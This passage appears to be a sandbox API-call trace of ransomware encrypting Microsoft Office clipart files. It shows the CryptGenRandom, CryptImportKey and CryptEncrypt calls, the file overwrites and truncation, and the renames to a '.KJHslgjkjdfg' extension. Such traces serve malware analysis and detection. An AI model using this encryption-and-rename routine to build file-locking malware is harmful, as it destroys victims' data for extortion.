dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0186.982] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0186.982] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.982] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.982] GetProcessHeap () returned 0x2a0000 [0186.982] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0186.982] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0186.982] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.982] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0186.985] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.985] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0186.985] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0186.985] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0186.985] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.985] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.985] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.985] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.985] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x76e0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x76e0, lpOverlapped=0x0) returned 1 [0186.986] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x76e0, dwBufLen=0x76e0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x76e0) returned 1 [0186.986] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.987] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x76e0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x76e0, lpOverlapped=0x0) returned 1 [0186.987] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.987] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x77b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.987] SetEndOfFile (hFile=0x114) returned 1 [0186.989] GetProcessHeap () returned 0x2a0000 [0186.989] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0186.989] GetProcessHeap () returned 0x2a0000 [0186.989] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0186.989] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02288_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02288_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02288_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02288_.wmf.kjhslgjkjdfg")) returned 1 [0186.991] CloseHandle (hObject=0x114) returned 1 [0186.991] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7f0c000, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb7f0c000, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x5850, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE02293_.WMF", cAlternateFileName="")) returned 1 [0186.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02293_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02293_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0186.992] GetProcessHeap () returned 0x2a0000 [0186.992] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0186.992] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0186.992] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0186.993] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.993] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.993] GetProcessHeap () returned 0x2a0000 [0186.993] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0186.993] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0186.993] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.993] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0186.995] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.995] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0186.995] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0186.995] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0186.995] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.995] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.995] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.995] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.995] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x5850, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x5850, lpOverlapped=0x0) returned 1 [0186.996] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5850, dwBufLen=0x5850 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5850) returned 1 [0186.997] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.997] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x5850, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x5850, lpOverlapped=0x0) returned 1 [0186.997] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.997] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x5924, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.997] SetEndOfFile (hFile=0x114) returned 1 [0186.999] GetProcessHeap () returned 0x2a0000 [0186.999] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0186.999] GetProcessHeap () returned 0x2a0000 [0186.999] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0186.999] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02293_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02293_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02293_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02293_.wmf.kjhslgjkjdfg")) returned 1 [0187.001] CloseHandle (hObject=0x114) returned 1 [0187.001] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x406e600, ftCreationTime.dwHighDateTime=0x1bf3a32, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x406e600, ftLastWriteTime.dwHighDateTime=0x1bf3a32, nFileSizeHigh=0x0, nFileSizeLow=0x5328, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE02296_.WMF", cAlternateFileName="")) returned 1 [0187.001] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02296_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0187.002] GetProcessHeap () returned 0x2a0000 [0187.002] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0187.002] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0187.002] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0187.002] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0187.004] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0187.004] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0187.004] GetProcessHeap () returned 0x2a0000 [0187.004] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0187.004] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0187.004] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0187.004] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0187.004] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0187.004] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0187.004] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0187.004] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0187.005] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0187.005] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0187.005] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0187.005] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.005] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x5328, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x5328, lpOverlapped=0x0) returned 1 [0187.006] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5330, dwBufLen=0x5330 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5330) returned 1 [0187.006] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.006] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x5330, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x5330, lpOverlapped=0x0) returned 1 [0187.006] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0187.006] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x5404, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.006] SetEndOfFile (hFile=0x114) returned 1 [0187.008] GetProcessHeap () returned 0x2a0000 [0187.008] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0187.008] GetProcessHeap () returned 0x2a0000 [0187.008] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0187.009] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02296_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02296_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02296_.wmf.kjhslgjkjdfg")) returned 1 [0187.010] CloseHandle (hObject=0x114) returned 1 [0187.010] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf911f00, ftCreationTime.dwHighDateTime=0x1bd4b16, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf911f00, ftLastWriteTime.dwHighDateTime=0x1bd4b16, nFileSizeHigh=0x0, nFileSizeLow=0x8c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE02369_.WMF", cAlternateFileName="")) returned 1 [0187.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02369_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0187.011] GetProcessHeap () returned 0x2a0000 [0187.011] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0187.012] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0187.012] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0187.012] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0187.012] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0187.012] GetProcessHeap () returned 0x2a0000 [0187.012] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0187.012] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0187.012] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0187.012] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0187.014] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0187.014] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0187.014] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0187.014] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0187.014] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0187.015] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0187.015] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0187.015] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.015] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x8c0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x8c0, lpOverlapped=0x0) returned 1 [0187.015] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x8c0, dwBufLen=0x8c0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x8c0) returned 1 [0187.015] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.015] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x8c0, lpOverlapped=0x0) returned 1 [0187.015] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0187.015] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x994, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.015] SetEndOfFile (hFile=0x114) returned 1 [0187.017] GetProcessHeap () returned 0x2a0000 [0187.017] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0187.017] GetProcessHeap () returned 0x2a0000 [0187.017] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0187.017] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02369_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02369_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02369_.wmf.kjhslgjkjdfg")) returned 1 [0187.019] CloseHandle (hObject=0x114) returned 1 [0187.019] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa494d400, ftCreationTime.dwHighDateTime=0x1bd4af2, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa494d400, ftLastWriteTime.dwHighDateTime=0x1bd4af2, nFileSizeHigh=0x0, nFileSizeLow=0x39f8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE02522_.WMF", cAlternateFileName="")) returned 1 [0187.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02522_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02522_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0187.020] GetProcessHeap () returned 0x2a0000 [0187.020] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0187.021] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0187.021] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0187.021] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0187.023] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0187.023] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0187.023] GetProcessHeap () returned 0x2a0000 [0187.023] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0187.023] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0187.023] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0187.023] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0187.023] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0187.023] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0187.023] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, 